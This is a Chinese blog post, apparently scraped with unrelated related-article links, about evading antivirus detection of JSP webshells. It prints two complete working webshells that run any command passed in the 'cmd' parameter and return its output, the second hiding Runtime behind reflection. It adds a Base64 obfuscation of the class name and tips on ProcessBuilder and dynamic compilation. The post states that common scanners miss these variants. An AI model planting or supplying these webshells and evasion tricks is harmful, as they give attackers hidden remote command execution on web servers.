从攻防对抗辩证性分析jsp免杀

从最早的最朴素木马

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.BufferedReader" %>

<%@ page import="java.io.InputStreamReader" %>

<%@page language="java" pageEncoding="utf-8" %>

<html>

<body>

<h2>Hello Aur0ra!</h2>

</body>

</html>

<%

    //获取cmd参数

    String cmd = request.getParameter("cmd");

    //执行命令

    Process process = Runtime.getRuntime().exec(cmd);

    //回显

    InputStream in = process.getInputStream();

    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));

    String tmp = null;

    while((tmp = bufferedReader.readLine())!=null){

        response.getWriter().println(tmp);

    }

%>

上面是一个最简单的木马，最初的时候采用的防御姿态就是直接禁止执行了Runtime,这算是第一次防御

Runtime被过滤后，geeker们又会想有没有什么方法可以替代Runtime呢？

于是就直接跟踪Runtime的底层实现，发现是借调了ProcessBuilder的方法，那我们就可以直接采用ProcessBuilder的方法执行

这样也是可以成功执行的，而后又禁止了ProcessBuilder。而后，Geekers又找了Process等来替代，作为防御方，自然得跟进禁止。

最终那几个常用的命令执行类都被ban了。但Geekers怎么甘心，既然你不让我实例化，那我就直接开始反射大法。（这样算是第二次的攻防了）

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.BufferedReader" %>

<%@ page import="java.io.InputStreamReader" %>

<%@ page import="java.lang.reflect.Method" %>

<%@page language="java" pageEncoding="utf-8" %>

<html>

<body>

<h2>Hello Aur0ra!</h2>

</body>

</html>

<%

    //获取cmd参数

    String cmd = request.getParameter("cmd");

    Class<?> clazz = Class.forName("java.lang.Runtime");

    Method getRuntime = clazz.getMethod("getRuntime");

    Runtime runtime = (Runtime)getRuntime.invoke(null);

    Method exec = clazz.getMethod("exec", String.class);

    Process process = (Process) exec.invoke(runtime, cmd);

    //回显

    InputStream in = process.getInputStream();

    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));

    String tmp = null;

    while((tmp = bufferedReader.readLine())!=null){

        response.getWriter().println(tmp);

    }

%>

反射就代表了类对象可以被字符串控制，为了避免关键字，上述字符串又可以进行编码的等奇奇怪怪的处理，从而绕过防御

例如将Runtime关键字进行编解码操作,降低查杀率

Class<?> clazz = Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=".getBytes(StandardCharsets.UTF_8))));



用常见的几种shell查杀工具，最多对index.jsp能够查出来Runtime类，把Runtime替换成ProcessBuilder就已经无法查杀了，更不用说利用反射生成的backdoor

动态编译加载

由于字符串的可变性，可以提高免杀，我们可以先将字符串写到一个临时java或者jsp中，当服务器端为热加载时，就可以成功getshell

[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)的更多相关文章

  1. 2017-2018-2 20155303 『网络对抗技术』Exp3：免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

  2. 2018-2019-2 网络对抗技术 20165324 Exp3：免杀原理与实践

    2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践 免杀原理及基础问题回答 免杀 1. 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

    #2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...

  4. 2018-2019-2 20165316 『网络对抗技术』Exp3：免杀原理与实践

    2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践 一 免杀原理与实践说明 (一).实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件, ...

  5. 2018-2019-2 20165209 《网络对抗技术》Exp3：免杀原理与实践

    2018-2019-2 20165209 <网络对抗技术>Exp3:免杀原理与实践 1 免杀原理与实验内容 1.1 免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中 ...

  6. 网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践

    基础问题回答 (1)杀软是如何检测出恶意代码的? 答:分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码. (2)免杀是做什么? 答:一般是对恶意软件做处理,让它不被杀毒软件所检测,也是渗透测 ...

  7. 2017-2018-2 『网络对抗技术』Exp3：免杀原理与实践

    1. 免杀原理与实践说明 一.实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) ...

  8. 分析一个免杀webshell发现的php特性

    文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...

  9. 20155229《网络对抗技术》Exp3：免杀原理与实践

    实验预习 免杀: 看为一种能使病毒木马避免被杀毒软件查杀的技术. 免杀的分类: 开源免杀:指在有病毒.木马源代码的前提下,通过修改源代码进行免杀.. 手工免杀:指在仅有病毒.木马的可执行文件(.exe ...

随机推荐

  1. 二叉树c++实现

    !!版权声明:本文为博主原创文章,版权归原文作者和博客园共有,谢绝任何形式的 转载!! 作者:mohist --- 欢迎指正--- 二叉树特点: 要么为空树:要么,当前结点的左孩子比当前结点值小,当前 ...

  2. 【LeetCode】166. Fraction to Recurring Decimal 解题报告（Python）

    [LeetCode]166. Fraction to Recurring Decimal 解题报告(Python) 标签(空格分隔): LeetCode 作者: 负雪明烛 id: fuxuemingz ...

  3. 【LeetCode】640. Solve the Equation 解题报告（Python）

    [LeetCode]640. Solve the Equation 解题报告(Python) 标签(空格分隔): LeetCode 作者: 负雪明烛 id: fuxuemingzhu 个人博客: ht ...

  4. 【LeetCode】473. Matchsticks to Square 解题报告（Python & C++）

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 回溯法 日期 题目地址:https://leetco ...

  5. A1. 道路修建 Small（BNUOJ）

    A1. 道路修建 Small Time Limit: 1000ms Memory Limit: 131072KB 64-bit integer IO format: %lld      Java cl ...

  6. kafka2.x常用命令笔记（一）创建topic，查看topic列表、分区、副本详情，删除topic，测试topic发送与消费

    接触kafka开发已经两年多,也看过关于kafka的一些书,但一直没有怎么对它做总结,借着最近正好在看<Apache Kafka实战>一书,同时自己又搭建了三台kafka服务器,正好可以做 ...

  7. Direct and Indirect Effects

    目录 概 主要内容 CDE NDE NIE TDE, TIE, PDE, PIE Judea Pearl. Direct and indirect effects. In Proceedings of ...

  8. Scale-Invariant Error

    目录 概 主要内容 代码 Eigen D., Puhrsch C. and Fergus R. Depth Map Prediction from a Single Image using a Mul ...

  9. 揭秘人脸对齐之3D变换-Java版（文末赋开源地址）

    一.人脸对齐基本概念 人脸对齐通过人脸关键点检测得到人脸的关键点坐标,然后根据人脸的关键点坐标调整人脸的角度,使人脸对齐,由于输入图像的尺寸是大小不一的,人脸区域大小也不相同,角度不一样,所以要通过坐 ...

  10. WEB文档在线预览解决方案

    web页面无法支持预览office文档,但是却可以预览PDF.flash文档,所以大多数解决方案都是在服务端将office文档转换为pdf,然后再通过js的pdf预览插件(谷歌浏览器等已经原生支持嵌入 ...